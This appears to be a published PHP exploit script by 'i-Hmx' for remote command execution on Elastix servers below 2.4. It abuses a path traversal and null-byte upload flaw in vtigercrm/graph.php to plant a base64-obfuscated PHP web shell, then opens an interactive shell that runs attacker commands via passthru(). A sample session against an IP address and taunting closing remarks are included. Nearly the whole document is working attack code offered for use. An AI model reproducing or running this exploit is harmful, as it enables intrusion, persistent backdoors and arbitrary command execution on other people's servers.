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Elastix 2.3 , Remote Command Execution Exploit

Author: i-Hmx , Published: 05-01-2013
<?
/*
Exploit Title : Elastix 2.3 , Remote Command Execution Exploit
Google Dork : WTF!!!!
Version: Elastix All versions below 2.3 , Newer versions maybe affected as well ;)
Tested on: CentOS
CVE : notyet
Download Vuln software : elastix.org
Author : Faris AKA i-Hmx
Mail : n0p1337@gmail.com
Home : sec4ever.com , 1337s.cc

PhoeniX# php elastix.php
+-------------------------------------------+
| Elastix < 2.4 |
| PHP Code Injection Exploit |
| By i-Hmx |
| sec4ever.com |
| n0p1337@gmail.com |
+-------------------------------------------+

| Enter Target [https://ip] # https://186.149.111.169
| Injecting 1st payload
| Injecting 2nd payload
| Testing total payload
| Sending CMD test package
| sec4ever shell online ;)

i-Hmx@186.149.111.169# id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)

i-Hmx@186.149.111.169#

*/
echo "\n+-------------------------------------------+\n";
echo "| Elastix < 2.4 |\n";
echo "| PHP Code Injection Exploit |\n";
echo "| By i-Hmx |\n";
echo "| sec4ever.com |\n";
echo "| n0p1337@gmail.com |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target [https://ip] # ";
$target=trim(fgets(STDIN));
$inj='<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==")); ?>';
$faf=fopen("fa.txt","w+");
fwrite($faf,$inj);
fclose($faf);
$myf='fa.txt';
$url = $target."/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate"; // URL
$reffer = "http://1337s.cc/index.php";
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
$cookie_file_path = "/";
echo "| Injecting 1st payload\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,array("binFile"=>"@".realpath($myf)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $reffer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
if(!eregi('<body onload=set_focus()',$result))
{
die("[+] Exploitation Failed\n");
}
echo "| Injecting 2nd payload\n";
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
function kastr($string, $start, $end){
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
$me=faget($target."/vtigercrm/graph.php?module=../test/upload&action=fa.txt%00","");
if(!eregi("done",$me))
{
die("[+] Exploitation Failed\n");
}
echo "| Testing total payload\n";
$total=faget($target."/vtigercrm/fa.php","");
if(!eregi("Faris on the mic :D",$total))
{
die("[+] Exploitation Failed\n");
}
echo "| Sending CMD test package\n";
$cmd=faget($target."/vtigercrm/fa.php","fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
if(!eregi("farsawy",$cmd))
{
echo " + Cmd couldn't executed but we can evaluate php code\n + use : $target//vtigercrm/fa.php\n Post : fa=base64code\n";
}
echo "| sec4ever shell online ;)\n\n";
$host=str_replace('https://','',$target);
while(1){
echo "i-Hmx@$host# ";
$c=trim(fgets(STDIN));
if($c=='exit'){die("[+] Terminating\n");}
$payload=base64_encode("passthru('$c');");
$fuck=faget($target."/vtigercrm/fa.php","fa=$payload");
$done=kastr($fuck,"-----------------","-----------------");
echo "$done\n";
}
/*
/*
NP : Trace my logs very well bit#*z , Next time i will log deeeeeeep in your A$$es ;)
Enjoy the song : http://www.youtube.com/watch?v=d-ELnDPmI8w
keep in Your skiddy minds , "I Ain't Mad At Cha"
< Faris , The Awsome xD >
*/
?>

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